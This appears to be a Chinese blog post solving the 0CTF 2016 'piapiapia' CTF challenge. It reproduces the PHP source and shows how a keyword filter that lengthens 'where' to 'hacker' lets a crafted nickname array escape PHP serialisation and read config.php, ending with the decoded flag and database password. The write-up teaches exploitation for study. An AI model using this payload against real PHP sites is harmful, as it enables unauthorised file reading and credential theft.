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這篇文章主要介紹php反序列化長度變化尾部字符串逃逸的示例分析，文中介紹的非常詳細，具有一定的參考價值，感興趣的小伙伴們一定要看完！
一個很可愛的登錄界面：
進行一下目錄掃描，發現源碼泄露www.zip，把源碼給出：
index.php
<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" >
<form action="index.php" method="post" class="well" >
<img src="static/piapiapia.gif" class="img-memeda " >
<h4>Login</h4>
<label>Username:</label>
<input type="text" name="username" class="span3"/>
<label>Password:</label>
<input type="password" name="password" class="span3">
<button type="submit" class="btn btn-primary">LOGIN</button>
</form>
</div>
</body>
</html>
<?php
}
?>在輸入賬號密碼之后進入了profile.php，下面是profile.php的源碼：
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" >
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " >
<h4>Hi <?php echo $nickname;?></h4>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div>
</body>
</html>
<?php
}
?>還有注冊頁面的源碼(沒有太大用)，register.php：
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php" rel="external nofollow" >Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" >
<form action="register.php" method="post" class="well" >
<img src="static/piapiapia.gif" class="img-memeda " >
<h4>Register</h4>
<label>Username:</label>
<input type="text" name="username" class="span3"/>
<label>Password:</label>
<input type="password" name="password" class="span3">
<button type="submit" class="btn btn-primary">REGISTER</button>
</form>
</div>
</body>
</html>
<?php
}
?>然后是update.php：
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php" rel="external nofollow" >Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" >
<form action="update.php" method="post" enctype="multipart/form-data" class="well" >
<img src="static/piapiapia.gif" class="img-memeda " >
<h4>Please Update Your Profile</h4>
<label>Phone:</label>
<input type="text" name="phone" class="span3"/>
<label>Email:</label>
<input type="text" name="email" class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>核心的處理代碼，class.php：
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);最后是config.php：
<?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = ''; ?>
看來flag就是在config.php中了，要想辦法拿到config.php的內容了。
然后就是代碼審計了。
seay代碼審計系統也可以給點線索的：
這個地方貌似有個文件讀取的地方，在profile.php中：
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>上面還有個反序列化unserialize，感覺有戲，如果$profile[‘photo']是config.php就可以讀取到了，可以對photo進行操作的地方在update.php，有phone、email、nickname和photo這幾個。
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
print_r(unserialize($profile));結果如下：
Array ( [phone] => 12345678901 [email] => ss@q.com [nickname] => sea_sand [photo] => config.php )
可以看到反序列化之后，最后面upload這一部分就沒了，下面就是想辦法把config.php塞進去了。
從數組順序上看是和上面數組的順序一樣的，可以抓個包看下post順序，那么最有可能的就是從nickname下手了。
在設置了$profile之后，用update_profile()函數進行處理：
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}進行了過濾：
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}有兩個正則過濾，帶上輸入nickname時候有一個正則，總共三個過濾的地方，首先要繞過第一個輸入時候的正則：
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
數組即可繞過：
nickname[]=
那么$profile就是這樣了：
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}后面的正則要怎么利用呢，可以看到如果我們輸入的有where，會替換成hacker，這樣的話長度就變了，序列化后的每個變量都是有長度的，那么反序列化會怎么處理呢？我們應該怎么構造呢？
數組繞過了第一個正則過濾之后，如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;}，一共是34個字符，如果利用正則替換34個where，不就可以把這34個給擠出去，后面的upload因為序列化串被我們閉合了也就沒用了：
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}在where被正則匹配換成hacker之后，正好滿足長度，然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了，被反序列化的時候就會被當成photo，就可以讀取到config.php的內容了。
下面開始操作：注冊之后登陸，進入到update.php頁面，輸入信息及上傳圖片，用bp抓包把nickname改成數組即可： 
然后進入到profile中查看圖片信息，把base64碼解碼：
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==
解碼得到：
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{0ctf_2016_unserialize_is_very_good!}';
?>以上是“php反序列化長度變化尾部字符串逃逸的示例分析”這篇文章的所有內容，感謝各位的閱讀！希望分享的內容對大家有幫助，更多相關知識，歡迎關注億速云行業資訊頻道！
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